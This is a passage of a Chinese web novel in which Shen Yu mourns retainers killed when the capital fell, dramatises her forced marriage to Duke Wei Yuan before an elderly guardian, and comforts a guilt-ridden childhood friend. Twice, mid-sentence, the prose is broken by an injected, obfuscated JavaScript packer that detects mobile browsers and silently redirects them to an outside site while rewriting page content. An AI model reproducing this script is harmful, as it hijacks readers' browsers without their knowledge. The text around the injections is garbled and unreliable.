城门未关之前，京城虽对世家出入管得很严，但主要是防止他们带着财物投靠叛军。蒋氏一个妇人，只要不带大量钱财出城，是能顺利带着顾泽离开的。 一旦他们出了城，哪怕只是搬到附近的庄子上，惠姑等人也能在叛军攻来之前给他们安排一条稳妥的后路。而且如此一来，沈家仆从也可以借跟随主母之名撤出大半，只留少数在府中装装样子就好。 但蒋氏不肯舍弃那些钱财，觉得惠姑他们是想将她赶走，帮沈钰侵占她余下的那些财物。 惠姑当时劝说了很久，那些财物于小姐而言不过九牛一毛，她根本不在意。她甚至提出可以补偿蒋氏，亏损了多少照价赔给她。 蒋氏当时是动了心的，却狮子大开口，让她给沈钰写信，要沈钰答应给她秦家半数家财。 沈昀是族中庶出，又因跟蒋老夫人不合，从小便缺衣少食，自然更谈不上有什么积蓄。便是后来他考取功名成了探花，族中出于规矩给了些银钱，却也没有多少，只够在京城办几桌席面的。 后来他做了官，按理要给公中交钱。公中收到各房交上来的银钱后在拿出一部分，根据各房情况予以补贴。像沈昀这种在京城做官，花费大的，应该多贴补些，或者直接把他上交公中的那份免了，让他自给自足。 但直至沈昀过世，沈家一直没有免去他要上交的那份钱，却也没有给过他任何补贴。 所以营州沈氏虽是名门望族，京城沈家却是白手起家。要不是先夫人秦氏家底丰厚又生财有道，沈家哪里能攒下那些家业? 先夫人过世，蒋氏用不光彩地手段嫁进来坐享其成，末了竟还想要拿走秦家半数家业?惠姑这么个好脾气的人当时都险些没忍住啐她一口。 别说那是秦家的产业她做不了主，便是能做主，她也不可能答应这种无理的要求。 他们本就不是非要跟着蒋氏不可，不过是她膝下有个顾泽。顾泽再怎么不讨喜，到底也是沈昀的血脉。他们身为沈家仆从，不好弃之不顾。 她劝蒋氏离京既是为了带着一众家仆求生，也是为了他们母子二人好，提出银钱补偿不过是想早些离开以免夜长梦多罢了。 但蒋氏实在是无理取闹，她便没再理会她，跟高琰他们商量着回头找个合适的时机把顾泽骗出京城，再将人绑了藏起来。 蒋氏只有这么一个儿子，宝贝得紧，届时定会带人出城去寻，他们便能大张旗鼓地离京了。 但还没等计划实施，那封战报就抵达了京城。城门忽然关闭，再想出去难如登天。 后来很长一段时间惠姑都在后悔，为什么要跟蒋氏讨价还价，为什么不一开始就用后面的那个法子，为什么不干脆狠心抛下这母子俩。若是他们早做决断，何至于让那么多人折在京城? 可再怎么后悔也晚了。那封战报就是这么好巧不巧的那个时候送了进来，灵帝就是这么愚蠢地立刻下令关闭了城门。 那时沈钰还在前往青州的路上，他们怕她一时冲动折返回来，便没有跟她说。后来人都死得差不多了，他们怕她知道了伤心，便也没有提。但这样刻意的规避又怎会不引起沈钰的怀疑，她虽没问，心里却已隐约知晓了答案。只是彼时她已在青州，京城这边的事鞭长莫及，问多了只会让惠姑他们自责懊悔，处事时愈发放不开手脚，便权当自己什么都不知道。 眼下回京，彼此都不必再瞒着，自然也要来祭拜一下亡人。 高琰在旁拔草，眼见两人都红了眼眶，温声安抚道：“也不都是坏事。因着昌平王急于攻入京城抢占皇宫和国库，城外的人反而得以保全。庄子上的人基本都还在，没什么损伤。” 许寿光主动投敌开门揖盗，导致敌军来得突然，打了大家一个措手不及。但昌平王眼里只有灵帝的宝库，他麾下兵马则盯上了城中世家大族。等他们在京城大肆抢掠半个月后，想起京郊的庄子时，庄上的人已经及时撤离了。 高琰和惠姑便是因为提前被送出京城来到了庄子上才得以保全，也是他们应对得当，让大家早早就打包了行李，又提前准备了足够的食水，见势不对立刻退到了早先便踩好点的安全地带，这才几乎保住了庄子上所有人。 沈钰嗯了一声，勉强扯出个笑脸：“京城前后经历了几次兵乱，能保住这么多人属实不易，辛苦你们了。” 高琰摆手：“我们辛苦什么，无非是打点些琐事罢了。倒是小姐，人在青州，却还要时刻担忧着我们。两地来往那般不易，还要时不时想法子送粮送药。” 他们手头是有钱的，小姐走时将先夫人半数家财留给秦家，另外半数家财又分作三份。一份交给他们打理，以备不时之需，另外一份尽数散给了需要帮扶的亲朋故旧，助他们度过难关，最后一份才留作己用。 但之前那几年天下太乱了，尤其京城附近。几股乱军前后攻占，洗劫过皇宫和世家大族后便来洗劫周边村镇。百姓不堪其扰，大多数青壮都被拉去充作马前卒或是民夫。田间地头没了农人耕作，田地荒废，粮价飞涨，到后面已是有钱都买不到粮了。 惠姑等人带着大家四处躲藏，想远离京城，又恐路上露了行迹，只能小心翼翼地缩在那方隅之地。若非沈钰一直想法子从青州那边送来米粮药材接济，他们之中身体强健的或许能活下来，老幼病残却不知撑不撑的过去。 邱翎见他们不是伤春悲秋就是推功揽过，嗨了一声：“都过去了，还说这些做什么。夏岚他们可都听着呢，没准正在底下嫌晦气呢。不如说些高兴事，让他们也开心开心。” 说着眼珠一转，好奇道：“小姐你跟镇国公是怎么结识的啊?怎么忽然就成亲了?” 正红着眼睛擦墓碑的秋婵听到这动作一顿，正要说这算什么开心事，就听邱翎又道：“我们听说的时候吓了一跳，但还挺为你高兴的。” “你不知道，三年前镇国公的人还帮着我们给死去的兄弟姐妹们收过尸呢。” 一直在旁沉默着没有说话的陈屹川这时点了点头：“那日叛军攻入南城门，我们的人大多都死了，勉强活下来的人也身受重伤，无法去给同伴们收尸。” “当时镇国公的一队人马藏在城中，扮做民夫帮忙收敛了大家的尸骨。若是没有他们……这坟里怕是一具完整的尸骨都没有。” 高琰颔首：“他们本可以不管，但还是冒着风险帮忙，可见人品不错。能带出这样的兵马，想来镇国公的为人应当也不差。所以当听说小姐你要嫁给他的时候，我们虽震惊，但还挺放心的。” 沈钰闻言却皱眉皱眉：“怎么从前没听你们提起过?” 三年前发生的事，又是于沈家有恩，惠姑他们不会在信中一句不提的。 “我们也是最近才知道的。”陈屹川道，“他们当时没有透露身份，只说是城中百姓，看到我们英勇杀敌，觉得不该让这样的人曝尸在外，便帮着收敛了。” “我们很是感激，给了些银钱做谢礼，后来安稳下来了还想找一找他们，看有没有什么能帮的上忙的，但一直没找到。” “结果前些日子我在国公府附近看到一人，正是当初帮着咱们收过尸的。我拦住那人问了一下，才知道原来他们是镇国公的人，三年前负责在京城这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15139698|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打探消息。” “那时城破的突然，他们也没能及时逃出去，就扮作民夫想看看城门这边布防如何。到了南城门发现那里有许多死尸，听闻是曾对抗叛军的人，就帮着收敛了。” 沈钰恍然，原来三年前卫渊就已经在京城安插人手了，但她又觉得有些奇怪：“他们怎么知道哪些是咱们的人?” “不知道的，”邱翎接话道，“咱们家的，杨家的，街坊四邻的，但凡尸骨比较全的他们都给收敛了，悄悄递了消息让各家去认领。” “我和老陈是伤最轻的，就去认了咱们的人。但咱们的人死的太多了，我俩抬不动，他们就帮着抬回来了。” 彼时大家都胆战心惊，起初根本没人敢去认尸，怕是陷阱，怕为已经死去的人再搭上活着的人，怕临时的藏身之处也暴露了。 但有人死了至亲，实在没忍住去看了看，看过之后真将尸体带回来了，没有被抓起来或是被连锅端了。于是渐渐地去的人就多了，沈家这边派了邱翎和陈屹川去。 沈钰点了点头，心中疑虑渐消：“那确实是应该感谢他们。” “嗯，我跟那个姓秦的小将说了，让他有空将三年前的那些兄弟都叫上，我请他们喝酒。” 陈屹川道。 沈钰让他到时记下那些人的名字好一一答谢，邱翎则还记得方才的问题：“小姐，你跟镇国公到底怎么认识的啊?为何忽然就成亲了?我们一点消息没收到，还是国公府那边放出消息才知晓，着实吓了一跳。” 若非对方是镇国公，小姐又没有传信说不愿嫁，他们怕是要忍不住去抢亲。 沈钰笑了笑，一时不知该如何解释。 起初卫渊说只能让她做妾，她说服柳先生和秋婵他们都颇费了番功夫，又如何只靠几封书信就说服惠姑他们呢? 她怕他们知晓后心中不忿，冲动之下在京城这边做出什么事来，这才没提，想要先斩后奏等进了京再说。 谁知临到京城，卫渊又忽然改口要娶她做正妻，她先前的担忧倒是没必要了。 “镇国公曾在青州待过，小姐是不是在那与他相识的?” “那他是不是早就对小姐动心了，只是碍于你从前已为人妻，不好下手。” “你跟章家和离后他一看天赐良机，立马就去提亲了?” 邱翎自顾自地猜测，一张嘴叭叭说个不停，听得惠姑在旁失笑：“好了，等去了严老那再说吧，她还等着小姐呢。” 邱翎忙哦哦两声：“对，小姐小姐，咱们快走吧。你可好好劝劝严老，他这些年精神头一直不太好，脾气也越来越古怪了，有时候一两个月都不说话，天天就闷在屋里坐着也不出来走动。” “前些日子他听说你要回京，还要嫁给镇国公了，忽然就清醒了似的，开始沐浴更衣收拾自己，还专门修剪了胡子。” “我还当他是怕你见了他先前那副鬼样子会担心，结果就听见他一个人在屋里念叨什么……再见一面，再见她一面，我就放心了。” “好家伙，合着这老头子是等着见你最后一面然后好进棺材呢。” 沈钰蹙眉，转头看向惠姑。 惠姑点了点头：“自你走后，严老的精神便越来越差了，之前粮食紧张的时候还一度不吃不喝，想把口粮省给年轻人。” “我模仿你的笔记写了封信，说你在青州过得不好。他心中挂念，这才强打着精神撑到现在，就是盼着京城平定后你能回来，好再见你一面。” “如今听说你平安回京，又嫁给了镇国公，他心中踏实，那一口气便泄了。这些日子人虽看着精神不少，进的水米却是越来越少了。” 沈钰眉头紧拧，原本还算轻松的神色沉凝下来。 几人在庄子里七拐八绕走了一段，来到一座四四方方的宅院前。宅子打扫得很干净，但不知是因为主人家性格孤僻还是院中服侍的人少的缘故，莫名显得死气沉沉的。 沈钰站在门前，看着正坐在堂中满眼期待等着她的人，眼圈一红，泪水断线的珠子般滚落出来，三两步跑了过去，失声痛哭：“严叔，你要给我做主啊……” 严怀安期待。 严怀安惊慌失措。 严怀安心疼不已。 他忙将人扶了起来，一迭声地问道：“怎么了这是?谁欺负我们钰儿了?” 沈钰抽噎不止：“镇国公……镇国公欺人太甚!他不知从哪里知晓我与他那已故的心上人相貌相似，便强抢人妻逼我和离!我……我是被迫嫁给他的啊!” 20.望妻 此言一出，众人皆惊，纷纷询问其中详情。 沈钰将卫渊以高官贿赂章家，令章家逼迫她和离一事说了，只隐去了是章家主动攀附这一节。如此更显得卫渊行事张狂，从一开始就是奔着她去的。 除此之外她还说了卫渊起初只让她做妾一事，并称是她无论如何不肯妥协，最终镇国公府才许以正妻之位。 严怀安听后果然震怒，抄起一旁的拐杖就要起身：“枉我还当他是个好人，不想竟是个禽兽!我这就去宰了他，看他还如何打你的主意!” 邱翎亦是义愤填膺，握着腰间短刀道：“这狗东西!老娘去剁了他的子孙根!” 惠姑在旁惊疑不定，看着沈钰哭得梨花带雨的样子，隐隐觉得有些不对，摁住了想要发作的邱翎，对她摇了摇头。 沈钰哭着拉住严怀安：“使不得啊严叔，镇国公位高权重，又正得圣宠，我们哪里是他的对手?若是此刻对他下手，能不能除掉他尚不一定，咱们的人却是定会被皇帝迁怒的。” “这些年已经死了太多人了，大家好不容易才活下来，怎能让他们在为我去赴死呢?” 严怀安一怔，握着拐杖的手紧了紧。 这些年他一直跟惠姑他们在一起，自是知道大家过得多么艰难。京城的沈家旧部大多都没了，如今尚在的基本都是庄子上的农户，拖家带口的寻常百姓。 他自是愿意为沈钰去死的，知道惠姑他们定然也是愿意的。但若拖累了那些本就艰难求生的普通农人，他心里也实在过意不去。 “可……可也不能就这么算了啊!钰儿你金尊玉贵，怎能被他这般羞辱?” 沈钰抽噎着用袖子拭泪：“只要大家都能好好的，我受些委屈不算什么。说起来……说起来这门亲事也并非全无好处，起码我能回京见到你们了。” 她说着勉强挤出个笑脸：“往好处想，我现在是实实在在的镇国公夫人，国公府的门庭总比章家好些。镇国公娶我虽是别有用心，但看在我这张脸的份上，倒也没有苛待我。” “等回头把咱们的人拢一拢，培养些新人出来。我手头有了人，有了底气，不想过时便与他和离，自去过我的快活日子。” “说的轻巧。国公府又不是章家，倘若镇国公不愿，小姐如何能顺利和离?我看还是直接宰了他方便!” 邱翎恨声道。 严怀安混沌的头脑这时已渐渐清明起来，将种种方法在心中都过了一遍，觉得邱翎话糙理不糙，确实是杀了卫渊最合适。既能永绝后患，又能报了他之前强迫沈钰和离之仇。 沈钰颔首，顺着他们的话道：“这是最后的法子。他若硬要留我不让我走，咱们便杀了他!但前提是身边得有足够的人手，事后不被朝廷轻易找到。还要保证庄子上的人离了咱们也能活下去，不至于被从庄子上赶走无田可种。” “以咱们现在的人手定是做不到这些的，我在镇国公府又不能时常顾着外面的事，所以就只能劳烦严叔你了。” 她说着扯了扯严怀安的袖子：“严叔教出来的人最稳妥了，你和惠姑他们一起再给我带些人出来，我便能多些底气了!” 严怀安点头，眼中浑浊退去几分，心中仍旧愤愤，将拐杖在地上用力砸了几下：“这镇国公竟如此卑劣，我当真是看走了眼!” “不是严叔的错。”沈钰拉着他道，“天底下人面兽心的人多得是，不过是有些人遮掩的好罢了。就像那章家，这三年看着跟我和和气气的，相处得很是不错，谁知道背地里却拿我去换自家前程。虽是镇国公提的，但我看他们也乐意得很。我走时他们还想霸着我的嫁妆不放，一计不成又生一计，半路上装作劫匪来打劫我!” 这桩事严怀安也不知道，听得十分恼火，硬生生将用了多年的拐杖给砸烂了。 “钰儿，钰儿你受苦了……” 他老泪纵横，万分自责：“都怪我，怪我当年给你选的人家不好。” 沈钰忙摇头：“怎么能怪您呢?若不是您断定京城必有灾祸，当机立断让我避走青州，我现在说不定已是一具白骨了。何况您只是选了青州，选了沛城，章家却是我自己选的，与您有什么干系?” 严怀安却只顾抹泪：“是我选的不好，我选的不好，我应该再看看别处，再多看看别处……” 眼见他陷入自责，怎么都劝不动了，沈钰无奈给惠姑使了个眼色。 惠姑会意，上前道：“严老，咱们还是想想去哪挑些人吧。这几年您不管事，我们几个的眼光又没你好，选的新人参差不齐的，到现在也没培养出几个。” “您若有空不妨给我们掌掌眼，也好叫小姐身边能有趁手的人使唤。若不是这些年她身边人手不够，想来也不至于被章家和镇国公欺负至此。” 严怀安深以为然，对自己这些年的松散懈怠倍感懊悔，抚着沈钰的头道：“钰儿你放心，我定多给你带些人出来，好叫你将来想走便走，想留便留，让镇国公也奈何不得你!” 沈钰用力点头：“我可就全靠您了。” 严怀安看着她懂事又听话的样子，愈发心疼，心里把卫渊和章家的祖宗十八代都骂了一遍，擦去眼泪打起精神跟沈钰又聊了半晌，问他这三年在青州过的如何。 两人聊了许多，沈钰还将他扶到院子里晒了晒太阳。 中午几人一起在严怀安的院子里用了饭，待他午睡歇下后才走。 荒废的田地今年已经重新耕种起来，田间地头此刻绿油油一片。 惠姑与沈钰并肩走在最前头，确定这里离严怀安的院子远了才问：“小姐跟镇国公的事……当真如你刚才所说那般吗?我怎么瞧着您……似乎是有意说给严老听的?” 她倒不是不信沈钰，实在是方才沈钰的样子跟小时候在严怀安面前撒娇耍赖时没什么两样。 严怀安此人性情孤僻，尤其是在断了一条腿之后，愈发的不爱说话，对人总阴沉着一张脸，以至于大家对他很是畏惧，轻易不敢靠近。 唯独沈钰因是故人之女，又是他亲手帮着带大的，他待她格外亲近，如自己的亲生女儿一般。 为了博他一笑，让他身上多些人气，沈钰时常故意在他面前撒娇耍赖。每次只要她一哭一闹，严怀安必定被他牵着鼻子走，从无例外。 沈钰笑了笑：“半真半假吧。卫渊确实明知我已成亲还许以章家重利逼我和离，也确实曾想让我给他做妾。但章家并非被迫，而是主动找 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“待他觉得情意淡了，我便提出和离。彼时蒋氏母子应该已经回营州了，我便能顺势回到旧宅，自居一处。” 蒋氏其实早有回营州的打算，只是彼时战乱四起，两地路途遥远，她唯恐带着家财在途中遭遇什么不测，便一直拖着没有成行。 如今天下大定，她的财物又已被洗劫一空，没什么可损失的。只要沈氏族人来接，想来她就会走了。 惠姑颔首：“我观国公府那边并没有给蒋氏行什么便利，她不能从您这桩婚事得到什么好处，应该也就不会在京城久留了。沈家那边蒋老夫人好歹是她姑祖母，她回去了有人照应，顾泽也能去族学读书，怎么都比在京城强。” 因着死了许多同伴的缘故，惠姑在京城安定后也没再回沈家照看那母子俩，现在连大少爷也懒得称呼了，对顾泽直呼其名。 确定沈钰对国公府的事胸有成算后她又问道：“章家那边小姐有何打算?可需要我派人走一趟?” 章家典妻在前，劫财在后，怎么也要给他们些教训，不能让小姐白吃了这个亏。 沈钰勾唇一笑：“不必，我都安排好了，你们不用管。” 惠姑听她这么说，点了点头：“都听小姐的。” ………… “还没回来吗?” 镇国公府，卫渊盘腿坐在校场廊下，膝头放着一杆长枪。 长枪枪尖已被擦得锃亮，红缨被他反复缠在指间拉扯，薅得不剩几根。 “青鸟，去门口看看。” 他吩咐一旁的少年。 少年蹲在一旁将他薅下来的红绳编成一股一股，已经编了十二股，并排放在一起，整整齐齐，在他开口后又开始编第十三股。 “青鸟。” 他又唤了一声，少年低头编着红绳不为所动。 卫渊无奈，只得高声唤远处的人：“青锋，去门口看看。” 青锋应诺，腿脚麻利地往门口跑去，等跑远了才低声碎碎念：“十三次了，夫人不过出去半天，已叫人去看了十三次了!这么难舍难分怎么不跟着一起去呢?!” 21.猜测 惠姑等人将沈钰送至庄外，临上车前邱翎将沈钰拉到一旁，四下看了看，确定周围没有旁人后压低声音跟她说起了悄悄话。 “小姐，那镇国公二十七岁尚未娶妻，也没纳妾，身边连个女人都没有。我知晓你们要成亲后很是担心，怕他……有什么隐疾，于是专程打探了一番。” “他们这些行伍之人行军打仗时整日都在一起，又都是些大老爷们儿，最爱聊些有的没的。那镇国公倘若真是个天阉，多少会漏出些风声。” “但我打听来打听去，也没有这方面的消息。我寻思着那可能真叫小姐赶上了，碰上个稀罕货。” “可方才又听小姐说他强抢人妻……我这越琢磨越不对劲，能做出这种事的男人，怎会真是个洁身自好的?” 她说着把声音压得更低，问道：“他莫不是……真的不行吧?” 邱翎二十来岁就守了寡，因着相貌生得好，身边总有男人围绕。她又向来不被礼教束缚，喜欢谁就与谁在一起，因此并不避讳提及这些。 只是以前沈钰年纪小，还没成亲，她便不在她面前多说。如今沈玉已是成了两次婚的人，她没了那么多顾忌，便也直说了。 沈钰没料到她会提起这个，愣怔片刻才回道：“还……行吧。” 这短暂的愣怔倒不是因为害羞，而是乍听邱翎方才所言，又联想到卫渊这些日子的表现，心里有些嘀咕，难不成他真是个雏? 邱翎一听还行二字，立时嗨了一声：“那便是不行。” 但行不行的，她其实并不在意：“小姐既已有所打算，不是非要跟他过一辈子，那也不必太担心这些，但有个事我还是得跟您说说。” “我先前打探镇国公是不是天阉的时候，发现他身边虽没有女子，却有许多容貌出众的男人。尤其是那些近身服侍他的，那叫一个出挑，随便拎一个出来丢到象姑馆都能拿个花魁。” “时人好南风者颇多，且爱以此为谈资，并不隐瞒。我那时见他也没有什么好南风的名声，就没当回事，以为只是巧合。” “但现在想想……那些喜好美色的，无论是喜欢男人还是喜欢女人，炫耀时多爱说自己又得到了什么美人，如何大展雄风云云。但倘若他们自己是雌伏的那个，却是万万不会拿出来说的。” 她说到这摇了摇头，啧啧两声：“这镇国公那方面不行，身边又那么多美男，那想来他是下面那个没错了。” “我对他们这些男人的喜好没什么意见，但他若喜欢男子，却娶了小姐给他镇宅子，做他卫家传宗接代生儿育女的工具，那就该千刀万剐了!” 沈钰闻言失笑：“邱嫂想多了。卫渊找上我便是因为我与他那亡故的心上人长得相似。既如此，他又怎会喜欢男人呢?” 何况卫渊床笫间的表现虽不尽如人意，却爱痴缠于她，成婚这半个月来几乎日夜黏在她身边，不曾多看前院那些男人一眼。 邱翎却一副你不懂的样子，说了句让她半晌无言的话：“小姐忘了自己长得像谁了吗?” 沈钰一怔，心中忽地生出千头万绪。 她虽是个女子，这幅相貌却是继承于父亲，跟沈昀像了个十成十。 邱翎见她想明白了，语重心长地拍了拍她的肩：“这世上有似夫人那般英姿飒爽的女子，也有如沈大人那般男生女相貌美如花的儿郎。” “倘若镇国公的心上人就是个男人，他便是满天下的寻人，许能寻到几个相似的，却未必能寻到如小姐这般合适的。” “小姐既与他的心上人相貌相像，又是个女子，还是官宦人家出身。他娶了您，既是门当户对，又能看到自己喜欢的脸，还能骗个肚子生孩子，可谓一举多得。” “不然他与您素不相识，为何要用尽手段把您抢来京城，还许以正妻之位?” 邱翎自觉分析得有理有据，末了道：“我说这些，是想让您心中有个计较。镇国公年近三十了，必是急于要孩子的，指不定就算心里喜欢男人，也要日日缠着您做那事。” “您可千万不要轻易怀孕生子，不然就着了他的道了!将来和离只怕更难!” 沈钰想到卫渊近来的言行举止，忽的就有些反胃，点头道：“我知道了。邱嫂你放心吧，我本也没打算很快要孩子的。” 现在就更没这个打算了。 听她这么说，邱翎总算放下心来，又瞥了眼候在一旁的惠姑等人，小声道：“小姐若是喜欢，我便在庄子上给你养几个听话的。别的地方不见得安全，但这庄子上都是咱们的人，绝不会传出什么风声让国公府那边知晓。” 沈钰哭笑不得：“邱嫂，我最近有很多事要忙，哪有那个闲工夫。” “那等你有空了再说嘛，反正……” “咳。” 一阵轻咳声传来，邱翎一转头就见惠姑正目光炯炯地盯着自己。 两人说话的声音小，惠姑并没有听见。但以她对邱翎的了解，一看她刚才那眼珠乱转挤眉弄眼的样子就能猜到她在说些什么。 邱翎缩了缩脖子，不再多言，只给沈钰使了个眼色，示意她有需要便来给自己传话。 这样耽搁了一阵，沈钰抵达宝相寺时便已是未时了。 昨日她跟卫渊说自己约了几个从前的姐妹，不过只是为了不让他跟着而已，其实今日她是自己来的。 父亲在世时曾在这里为母亲点过一盏长明灯，后来父亲过世，她便又点了一盏，将两人的灯供在了一起。 其实父亲并不信佛，也不信道。她还曾问过他既然不信，为何又要来供奉呢? 那时父亲沉默不言，一直没有给她答案。 直到父亲也走了，她才终于明白，有时供奉这些灯盏并不是出于信仰，而是为了让自己心中有所寄托。 给父母的长明灯续上香油钱后，沈钰走出大殿准备回城，却在宝相寺门口遇到了一个熟人。 “沈妹妹?” 那人看到沈钰，有些惊讶，旋即面露惶然。 沈钰认出了对方，皱眉上前：“杨大哥?你……” 她想说你怎么成了这副模样，又觉得这话有些冒失，没有说出口。 杨文轩明白她的意思，凄然地笑了笑：“轩形容不整，让沈妹妹见笑了。” 沈钰听说京城城破那日邱翎等人是和杨家一道走的，因此那一役不仅沈家损失惨重，杨家也是家破人亡，几近灭族。 听说杨文轩的父母妻儿都在那时过世了，如此重创对他来说自是沉痛万分，会是现在这副模样也就不奇怪了。 沈钰不知该如何安慰他，只能道：“斯人已逝，杨大哥……还望珍重。” 杨文轩眼眶微红，点了点头，涩声道：“对不住，是我……是我害了夏岚他们，是我害了你们沈家近百人。我实在是……对不住你。” 他与沈钰青梅竹马，自小一起长大，知道夏岚等人与她情同姐妹。一夕之间失去那么多亲朋故旧，她心中定也悲痛万分。 沈钰却很是不解，皱眉问道：“这是何意?夏岚他们是死于叛军刀下，与杨大哥何干?” 杨文轩见她并不知情的样子，料想惠姑他们没有与她说起，心中愈发愧疚。 “南城门叛军少的消息是我传给他们的，是我让他们与我一道出城。若非我判断失误，他们……他们说不定就能活下来。” 这些年他一直在为此自责，时时刻刻在埋怨自己，无法原谅自己。 杨家和沈家的仆从加起来有两三百人，且不少都是精心培养的得力护从。若不是他决策失误，那日绝不至于死那么多人。 沈钰对此一无所知，此刻听他提起才恍然大悟，原来他一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15165663|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在为此自责。 她无奈地摇了摇头：“话不能这么说。我听陈叔他们说了，最初的确是南城门那边叛军最少，他们也是派人打探过，确定消息准确，才会与你同行。” “许寿光面对最少的敌军，却放弃抵抗开门揖盗，这是谁都没想到的，怪不了你，也怪不了陈叔他们。” 杨文轩心中明白这个道理，也曾试图以此安慰自己。但他是最初也是最终做出决策的那个人，面对那么多人的死亡，他实在无法推说自己毫无责任。 “许寿光固然罪孽深重，但我……” “杨大哥知道我三年前为何离京吧?” 沈钰开口打断。 杨文轩怔了怔：“知道。严老和夏岚他们断定京城一年内必定城破，为了确保你的安全，让你远嫁青州离京避祸。” “我们知晓后想将族中几个姊妹也嫁出去，但因时间仓促，最终送出去的只有两人。其中一个最终没能逃过兵乱，另一个如你一般活了下来。” “说起这个，还要多谢你当初派人登门告知。” “三年前便已谢过了，倒也不必再谢一回。”沈钰道，“我现在虽平安归来，但当初去往青州的路上却也曾遇到危险险些丧命，不过是运气好逃过一劫。” “倘若我那次没有逃过劫难，真的死在途中，你觉得应该怪谁呢?严叔和夏岚吗?” 杨文轩：“这……这当然不能。” 沈钰颔首：“你也知道不能。既然如此，又为何要一味责怪自己?” “没有谁能确定自己的选择一定是对的，尤其是前些年战乱四起，大家都朝不保夕。” “这般境况下能活下来是幸运，活不下来应该怪灵帝不仁，怪叛军滥杀，怪官蠹欺上瞒下尸位素餐，怪天怪地怪谁都可以，唯独不该怪曾努力保护过大家的人。” “你得到的消息是真的，做出的决断也没有错。你的初心是想带大家逃出去，让更多人获救，不能因为最终没有成功就觉得是自己的问题。” “这世上有常胜将军，却没有百胜将军万胜将军。何况杨大哥你根本不是将军，只是个想竭力保护大家的寻常人而已。” 她前面说的那些杨文轩都听过无数遍，并没有太大触动。直到这最后一句，他才心头一震，下意识喃喃出声：“我只是个寻常人……” “是，我们都只是寻常人。难不成杨大哥觉得自己是能救万民于水火的圣人吗?” 沈钰道。 杨文轩呼吸微滞，心中似有什么东西在碎裂瓦解，肩头的重担悄无声息地减轻了几分。 他从小读圣贤书，又是家中嫡长子，父母亲族皆对他给予厚望。他自小就觉得自己应该承担，也必将承担家族的一切，乃至更多人的前路。 他也曾立志为天地立心，为生民立命。可在乱军的屠刀前，一切远大志向都是那么微不足道，轻易就将他击垮了。仿佛他从前所学皆无用，满腹诗书不及屠刀一柄。 但方才沈钰说，他只是个寻常人。 一个寻常人，自然无法时时刻刻都高瞻远瞩，自然也无法用血肉之躯去对抗刀剑长枪。 杨文轩轻笑一声，擦去眼角溢出的泪：“你说的没错。我只是个寻常人，不是什么圣人。” 寻常人无需用圣人的标准要求自己，只要尽量将自己能做的事做好就行了。等他哪日真的成圣了，再用圣人的标准来要求自己不迟。 一直以来盘旋在心头的那股阴霾渐有消散之势，杨文轩露出个笑脸，对沈钰道：“谢谢。谢谢你，沈妹妹。” 沈钰摇头：“我什么都没做，杨大哥无需谢我。” 说着侧身站到一旁：“杨大哥是来上香的吧?快去吧，我也该走了。” 杨文轩颔首，对她长揖一礼后迈步进了宝相寺，脚步比来时轻快不少。 22.实证 沈钰回城后去了几家自己的铺子，有些店面曾遭人打砸洗劫，还在修缮，有些则已重新开张。 她大致看了看，跟掌柜和管事们问了问最近的情况，确定没什么问题后便回府了。 眼看就要驶入镇国公府所在的正阳街时，却听后方传来一阵急促的马蹄声，间或夹杂着用马鞭驱赶街边百姓的呼喝声。 马蹄声很快从她车边疾驰而过，她正想让秋婵看看是谁如此张狂闹市纵马，就听得一阵马匹急停的嘶鸣。 纵马的一行人拦在了她的车前，迫使车夫不得不将车停了下来。 秋婵面色一凝，摸向车帘的手当即收了回来，肩背紧绷侧耳听着外面动静。 沈钰倒是不怎么紧张。一来新帝登基不久，城中正是戒备森严的时候，连小偷小摸都少了很多，自然更没人敢当街杀人行凶了。 二来这里离镇国公府已经很近，便是真碰到什么歹人，她的人也足够撑到国公府来支援。 “小姐，是几位女郎。” 车夫在外低声说道。 话音才落，便有马蹄声哒哒响起，不似刚才拦车时那般急切，慢悠悠地往马车这边靠近。 来人翻身下马，抬手便要去掀车帘。 沈钰的婢女这时已从后面的马车上下来，见状上前阻拦，两人转瞬间便交手几招。 对方显然没料到这婢女竟然会武，一时不察落了下风，被一掌拍在肩头，踉跄着倒退几步。 “大胆!公主的人你也敢打?” 一道叱骂声响起，与之一同传来的是挥舞马鞭的破空声。 眼见那马鞭朝着自己面门袭来，婢女下意识闪躲，马鞭便越过她抽在了车帘上，霎时将轻薄的车帘卷了下来。 秋婵出手如电，将那被卷下的车帘和马鞭一起抓住，用力往回一拽。 挥鞭的人因她这大力的拉拽直直从马背上摔了下来，痛呼一声跌在地上，手中马鞭也被夺了去。 没了车帘的遮挡，车内车外的人都清楚地看到了彼此。沈钰和秋婵一眼便认出外面的人——华阳公主。 这个灵帝在世时备受宠爱的公主，曾在京城横行无忌十余年。三年前京城被破，灵帝夫妻被诛，一干皇室也几乎被屠灭。这位公主和少数几个皇室之人扮作宫女内侍趁乱逃出皇宫，一路东躲西藏，在几个忠仆的保护下活了下来。 新帝入京后知晓他们还活着，为表仁厚，便将他们接了回来。或另建府邸安置，或接入宫中颐养天年。 其中华阳公主最受恩宠，新帝不仅保留了她的封号，连那座远超规制的公主府也依然给她留着，并未收回或责令整改。 沈钰今日在庄子上听惠姑他们提起，说这位华阳公主曾想让卫渊做她的驸马，但被拒绝了。 想来是她今日出门的消息被这位公主知晓，专程赶来拦她的马车想要示威。 